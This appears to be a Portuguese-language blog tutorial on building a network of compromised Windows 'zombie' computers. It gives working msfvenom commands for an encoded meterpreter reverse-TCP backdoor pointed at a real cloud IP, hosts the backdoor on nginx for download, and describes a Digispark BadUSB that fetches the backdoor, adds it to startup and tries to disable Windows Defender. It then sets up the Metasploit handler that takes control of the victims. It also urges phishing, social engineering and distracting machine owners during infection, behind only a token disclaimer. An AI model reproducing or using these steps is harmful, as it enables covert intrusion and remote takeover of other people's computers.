Criar uma instancia e definir um IP estático
Eu estarei utilizando o GCP(Google cloud platform) mas você pode utilizar o provedor de CLOUD que deseja ou até mesmo um VPS.
Acesso meu console e crio a instância. instância essa que é bem básica, uma micro com SO Debian 9.
Com o a instância criada, eu defino um IP estático para ela. O IP estático é necessário para que não ocorra o risco do IP que definirmos no nosso backdoor mudar e perdemos nossos "computadores zumbis" já conquistados.
Instalar METASPLOIT
Nesse passo vamos instalar nosso canivete suíço METASPLOIT para criamos nosso BACKDOOR e orquestramos nossos "computadores zumbis".
Conecte-se a sua instância por ssh para instalarmos o METASPLOIT.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
Conceda permisão de execução para o instalador.
chmod +x msfinstall
Agora execute o mesmo.
./msfinstall
E após concluir rode.
msfconsole --version
Como vai ser a primeira execução o METASPLOIT vai perguntar se você deseja configurar seu ambiente, criando um novo banco de dados para o metasploit você responde com um sim e seus dados que ele vai criar as credenciais e configurar tudo para que você possa utilizar a ferramenta.
Criar backdoor
Agora vamos criar o nosso backdoor definindo qual tipo de conexão iremos usar, que vai ser uma REVERSA TCP para qual tipo de SO alvo, que será máquinas Windows, o nosso LHOST(IP de comunicação) que vai ser o nosso IP estático, nossa LPORT(porta de comunicação) a porta TCP, o tipo da extensão do backdoor -f exe, que são executáveis do windows, o algoritmo de criptografia e compreensão -e x86/shikata_ga_nai, -i 5 o numero de interações do encoded com o backdoor, e -o o nosso arquivo de saída. Se você estive em uma cloud provavelmente vai ter que criar uma regra de firewall para a sua porta escolhida
msfvenom -p windows/meterpreter/reverse_tcp LHOST=34.97.212.80 LPORT=5000 -f exe -e x86/shikata_ga_nai -i 5 -o payload.exe
Rodando um ls para listar os arquivos do diretório verá que o arquivo payload.exe foi criado
Configurar servidor web para download
O NGINX vai ser necessário para criarmos um servidor web no qual o nosso payload do Digispark possa fazer o download do BACKDOOR para dentro da máquina alvo. Ou enviarmos o link através de engenharia social para obter acesso a máquina alvo.
Vamos instalar o nginx.
sudo apt-get update
sudo apt-get install -y nginx
Iremos criar uma copia do nosso backdoor dentro da pasta do servidor.
sudo cp ./payload.exe /var/www/html/payload.exe
Feito isso nosso arquivo vai esta disponível para download em.
http://34.97.212.80/payload.exe
DigiQuack: Digispark
Para quem não conhece o Digispark, ele é uma placa de desenvolvimento com tamanho reduzido e 6 pinos de I/O (entrada/saída), ideal para uso em projetos de IoT (Internet of Things ou Internet das Coisas) ou simplesmente para uso em projetos onde você não precisa de muitas portas do microcontrolador.
Para continuarmos com nosso ataque, precisamos conquistar nosso primeiro "Zumbir". Podemos fazer isso de várias formas envolvendo engenharia social entre elas as mais comuns, como enviar o nosso link para um amigo, ofuscado de tal forma que não levante suspeitas, Ou também utilizando técnicas de Phishing.
Mas aqui vou abordar um ataque de infecção físico, onde vamos precisar ter acesso físico a uma máquina e em posse de um Digispark iremos infectar o alvo.
Poderíamos utilizar o Rubber duck (dispositivo esse usado na serie Mr. Robot) original, mas no Brasil é difícil encontramos e os poucos chegam a ser vendidos por um precinho um pouco salgado.
O Digispark chega ser um genérico ao Rubber duck tem um desempenho inferior mas é uma alternativa acessível e viável para o nosso ataque e pode ser programada com a IDE do Arduíno. Com isso configuraremos o Digispark para ser reconhecido como um teclado, qual não iremos precisar de nenhum tipo de permissão do usuário da máquina, e iremos executar comandos de teclado para fazer o download do backdoor e executar ele na máquina, adicionando ele junto a inicialização do Windows, para que quando a máquina for reiniciada obtermos uma nova conexão.
Agora bora lá, para isso você vai precisar de um Digispark ATtiny85 que pode ser encontrado no mercado livre por R$ 16. Com ele em mãos agora você vai precisar carregar nele os módulos de "teclado" transformando-o em um "rubbe duck" para isso você pode seguir os passos deste tutorial e voltar aqui.
Talvez você enfrente problemas ao efetuar a injeção de payload no digispark para resolver isso você vai precisar configurar o uDev
Criar Payload para injetar o backdoor
Feito tudo isso e com o Arduíno IDE instalado vamos criar o nosso Payload que ao plugarmos em uma máquina vai fazer o download do backdoor, mover ele para a inicialização do windows, tentar desativar o windows defender e executar nosso backdoor, tudo isso em menos de 30 segundos.
Abra o Arduíno IDE e cole o payload que vou deixar aqui para vocês. Copiado, colado e entendido o que o payload faz, clique em verificar, para debugar nosso código e depois clique em carregar e aguarde a IDE solicitar que você pluge o digispark. Ao plugar a IDE vai injetar na placa nosso payload e SUCESSO!
Nosso DigiQuack esta criado.
Agora basta pluga-lo em qualquer máquina windows desviar a atenção do usuário da máquina aguardar alguns segundos e remove-lo, tudo muito rápido.
Você também pode enviar o link para alguém e aguardar que ele se junte a sua rede de zumbis hahahaha
Iniciar a escuta das conexões
Agora voltamos para a nossa instância para iniciarmos a escuta na nossa porta. Em acesso SSH iniciamos o console do Metasploit executado
msfconsole
Depois de iniciado vamos selecionar qual exploit iremos usar, que é o multi/handle feito isso setamos o meterpreter de conexão reversa tcp para o windows, setamos o nosso HOST e PORTA, os mesmo usados na criação do backdoor, e ExitOnSession para que o manipulador possa continuar executando como trabalho mesmo com uma sessão fechada ou com falha no medidor.
msf >use exploit/multi/handler
msf >set PAYLOAD windows/meterpreter/reverse_tcp
msf >set LHOST 34.97.212.80
msf >set LPORT 5000
msf >set ExitOnSession false
Feito isso estamos prontos para receber nossas conexões, você pode pressionar ctrl+c para liberar o terminal que agora iremos visualizar nossas conexões e obter acesso.
Obter acesso a uma máquina infectada
Para ficar na escuta em tempo real de quem se conectou ou desconectou rode.
msf > exploit -j -z
Para listar nossas conexões de entrada até o momento.
msf> sessions -l
Você terá uma saída algo como.
E para acessar um "zumbir".
msf> sessions -i <numero da sessão>
com isso você obtêm acesso shell.
E é isso, agora você é portador desse conhecimento e como escreveu Stan Lee, Tio Ben, na obra o Homem Aranha.
ENTÃO UTILIZE O QUE APRENDEMOS AQUI PARA FINS DIDÁTICOS, PARA ZUAR UM AMIGO OU IRMÃO E RESPEITE A PRIVACIDADE DOS OUTROS
@despossivel